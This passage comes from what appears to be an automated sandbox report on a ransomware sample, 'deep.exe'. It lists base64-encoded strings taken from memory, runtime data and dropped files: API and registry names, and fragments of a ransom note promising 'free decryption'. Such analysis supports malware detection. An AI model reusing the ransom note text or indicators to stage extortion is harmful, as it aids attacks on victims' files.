Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RDl1ZkdraTl7","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1xjbWRhbGlhcy5jcHA=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1xleGVjZW5naW5lLmNwcA==","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1xmb3JtYXRlbmdpbmUuY3Bw","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1xwYXJzZXJlbmdpbmUuY3Bw","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1x3bWljbGl4bWxsb2cuY3Bw","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZDpcdzdydG1cYWRtaW5cd21pXHdiZW1cdG9vbHNcd21pY1x3bWljbWRsbi5jcHA=","type":"Ansi","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RGF0YUZpbGVQYXRo","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZGNvbXBpbGVyXzQzLmRsbA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGVidWdIZWFwRmxhZ3M=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdA==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdGlvbg==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVjcnlwdGlvbi4=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZGVkRE9NRG9jdW1lbnQsIE5VTEwsIENMU0NUWF9TRVJWRVIsSUlEX0lYTUxET01Eb2N1bWVudDIsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZGVlcC5leGU6Wm9uZS5JZGVudGlmaWVy","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmYXVsdF9Db2RlUGFnZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmYXVsdF9JRUZvbnRTaXplUHJpdmF0ZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmYXVsdEFjY2Vzc1Blcm1pc3Npb24=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVmZXJGbGFncw==","type":"Unicode","source":"Runtime Data","process":"net.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVsZWdhdGVFeGVjdXRl","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlQ3JpdGljYWxTZWN0aW9u","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RGVsZXRlRmlsZVc=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RGVyaXZhdGlvbg==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"REVSSVZBVElPTg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RGVzY3JpcHRpb24=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"REVTQ1JJUFRJT04+","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RGV2aWNlUGF0aA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlhbHVwVXNlTGFuU2V0dGluZ3M=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlyZWN0M0QgSExTTCBDb21waWxlcg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGlyZWN0WCBmb3IgV2luZG93cw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZSBTY3JpcHQgRGVidWdnZXI=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZSBWaXNpdGVkIEh5cGVybGlua3M=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUJhc2ljT3ZlckNsZWFyQ2hhbm5lbA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUJyYW5jaENhY2hl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUNhY2hpbmdPZlNTTFBhZ2Vz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUVuZ2luZQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUltcHJvdmVkWm9uZUNoZWNr","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUtlZXBBbGl2ZQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZUxvY2FsT3ZlcnJpZGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZU1ldGFGaWxlcw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZU5UTE1QcmVBdXRo","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVBhc3Nwb3J0","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVJlYWRSYW5nZQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVNjcmlwdERlYnVnZ2VySUU=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVNlY3VyaXR5U2V0dGluZ3NDaGVjaw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVVzZXJNb2RlQ2FsbGJhY2tGaWx0ZXI=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzYWJsZVdvcmtlclRocmVhZEhpYmVybmF0aW9u","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGxheSBJbmxpbmUgSW1hZ2Vz","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGxheSBJbmxpbmUgVmlkZW9z","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGxheVNjcmlwdERvd25sb2FkRmFpbHVyZVVJ","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RGlzcGxheVN0cmluZw==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZGwldFhsTyI0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZExceCUkbD0kU1g=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZGxQIDA/JltT","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RExZTkFNRT4lczwvRlJJRU5ETFlOQU1FPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZE48YlFjbGZy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RG5zQ2FjaGVFbmFibGVk","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG5zQ2FjaGVFbnRyaWVz","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG5zQ2FjaGVUaW1lb3V0","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG9jT2JqZWN0","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG9jdW1lbnRGcmFnbWVudCgtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RG9tYWluTGltaXQ=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RE9NRWxlbWVudDo6Z2V0RWxlbWVudHNCeVRhZ05hbWUoTCJYU0xGT1JNQVQiLCAtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RE9NTm9kZTo6Y2xvbmVOb2RlKC0sLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RE9NU3RvcmFnZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG9udFByZXR0eVBhdGg=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RG9udFVzZUROU0xvYWRCYWxhbmNpbmc=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ0RlbGF5","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbERlbGF5","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbEluc2V0","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJhZ1Njcm9sbEludGVydmFs","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJpdmVNYXNr","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RHJpdmVyRGVzYw==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZHM9LGQ7aldhXw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZFVJTGFuZ3VhZ2U=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RHYoI3Y9QWVu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZFlEMTIgQiIh","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RFlMUFRFfVpu","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RSdHK0BUWlg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZS8uLFlmMHZzcQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RTVFRDcwRDQ3MkQzNjlBQTNDMzYyQkIyNDNFN0NFRkNEOUNDMzkyMjNFODdDQzhBQkIxNUJEOTk2RUUxRDY4ODVGRURGNERDQkE2NjM3MjNBNEIyNEU4NEVFRUM0NkE2QjZBRQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"RTVFRDdfRDQ3MkQzNjlBQTNDMzYyQkIyNDNFN0NFRkNEOUNDMzkyMjNFODdDQzhBQkIxNUJEOTk2RUUxRDY4ODVGRURGNERDQkE2NjM3MjNBNEIyNEU4NEVFRUM0NkE2QjZBRQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZTo6Z2V0X25vZGVWYWx1ZSgtKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZTo6cHV0cmVmX3N0eWxlc2hlZXQoLSk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RT4lczwvUFdIRVJFPg==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RWVhYHs1UVtgVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RUlaVU1IV0xVTE1SSEpKQlRGSE1ZTEhZVVJVQVpQQlVOS1FQR1JSRlBUV0tEUE5ISlREU0VQT0pYWllBSUlGSlhMV05PTUlZV1NBQkpSUk5ZTk1JT1BXSE1SVEVTTlJPV0FKU0VGTk5DRExGVFhVRkFZTk1SWUdBVkJCV0tJUUJJVA==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZUsuJCxEcmk7dV8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RW1wdHlDbGlwYm9hcmQ=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZU1ZMyBLdGokLQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlIEF1dG9JbWFnZVJlc2l6ZQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlQW5jaG9yQ29udGV4dA==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlQXV0b2RpYWw=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlQXV0b1Byb3h5UmVzdWx0Q2FjaGU=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlSHR0cDFfMQ==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlSHR0cFRyYWNl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlTmVnb3RpYXRl","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlT2JqZWN0VmFsaWRhdGlvbg==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlUHJpdmF0ZU9iamVjdEhlYXA=","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RW5hYmxlUHVueWNvZGU=","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ZW5jcnlwdGVk","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"ZW5jcnlwdGVkIQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"RW50ZXJDcml0aWNhbFNlY3Rpb24=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RVJST1IgJXMgLSBGQUlMRUQhIGVycm9yIyAlZCAlcyAlcyB0aHJlYWQ6JWQgWyVzLiVkXQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RVJST1IgJXMgLSBGQUlMRUQhIGVycm9yIyAleCAlcyAlcyB0aHJlYWQ6JWQgWyVzLiVkXQ==","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZXJzIiwgMCwgLSwgMCwgMCk=","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZXJ2aWNlczo6R2V0T2JqZWN0KEwiJXMiLCBXQkVNX0ZMQUdfUkVUVVJOX1dCRU1fQ09NUExFVEV8V0JFTV9GTEFHX1VTRV9BTUVOREVEX1FVQUxJRklFUlMsIDAsIE5VTEwsIC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZXMiLCAwLCAtLCAwLCAwKQ==","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RVRlVjE9am0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZXglRWdpXSc9W1tM","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RXhjbHVkZVN5c3RlbVByb3BlcnRpZXM=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RXhwYW5kIEFsdCBUZXh0","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RVlvYUs3e2k5fQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZXlzOGdEJEpw","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZiZfLnxESDMm","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZidDTFEkOm0=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RipSdlBVeyQ/","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Zi5ScTE/UkV6","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZjJzRFpIWUQ4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RjMzMzRDNjQ3MjZGNzBDRTNFNDkwRDRBQ0VCNDdCOUIzRDhENjcyQUI2M0Q3MkI0RkU4RTg0RjVCOTAyM0Y3QzZDNjNENDRCNEMyODM3QzA4QkFFNEYwMTVEMEMzQjExOTFBNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"RjMzMzRDNjQ3MjZGN19DRTNFNDlfRDRBQ0VCNDdCOUIzRDhENjcyQUI2M0Q3MkI0RkU4RTg0RjVCOV8yM0Y3QzZDNjNENDRCNEMyODM3Q184QkFFNEZfMTVEX0MzQjExOTFBNQ==","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_2.png","compromised":null,"detection_total":null,"total":null},{"value":"RltlVmReNkc=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RltNZVE9RDYs","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RkFJTDogJXM=","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RkQpRypiK31f","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmVhdHVyZV9DbGllbnRBdXRoQ2VydEZpbHRlcg==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RkYiKm5ubm55biBOIEwgTg==","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.00A3D000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RkdIKUx4RkstIQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZSBNb25pdG9yIC0gU3lzaW50ZXJuYWxzOiB3d3cuc3lzaW50ZXJuYWxzLmNvbQ==","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZURlc2NyaXB0aW9u","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RmlsZW1vbkNsYXNz","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RmlsZVZlcnNpb24=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Rmlwc0FsZ29yaXRobVBvbGljeQ==","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Zk1MRV9pc19icm9rZW4=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Zm9AVH11aV5Q","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"Rm9sZGVyVHlwZUlE","type":"Unicode","source":"Runtime Data","process":"deep.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rm9yY2UgT2Zmc2NyZWVuIENvbXBvc2l0aW9u","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Rm9ybWF0TWVzc2FnZVc=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZnJhbWVkeW5vcy5kbGw=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RnJhbWVNZXJnaW5n","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJhbWVUYWJXaW5kb3c=","type":"Unicode","source":"Runtime Data","process":"mshta.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJlZSBkZWNyeXB0aW9uIGFzIGd1YXJhbnRlZSE=","type":"Ansi","source":"Dropped File","process":null,"filename":"HOW TO RECOVER ENCRYPTED FILES.TXT","compromised":null,"detection_total":null,"total":null},{"value":"ZnJlZWFkZHJpbmZv","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RnJlZUxpYnJhcnk=","type":"Ansi","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RnJpZW5kbHlOYW1l","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"RnJvbUNhY2hlVGltZW91dA==","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnJvbVZhbHVl","type":"Unicode","source":"Hybrid Analysis","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"ZlNhdmVXaW5kb3dQb3NpdGlvbnM=","type":"Unicode","source":"Runtime Data","process":"notepad.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnRwRGVmYXVsdEV4cGlyeVRpbWVTZWNz","type":"Unicode","source":"Runtime Data","process":"WMIC.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"RnUgWXYgPncgXnogV3sy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"RlhwaS9qJ3As","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZnlQcml2aWxlZ2VzKC0p","type":"Unicode","source":"Memory/File Scan","process":"WMIC.exe","filename":"00019136-00003816.00000000.19637.009F1000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Rnl3eFpJOWRC","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"deep.exe.bin","compromised":null,"detection_total":null,"total":null},{"value":"ZyBGaWxlIE1heCBTaXpl","type":"Unicode","source":"Memory/File 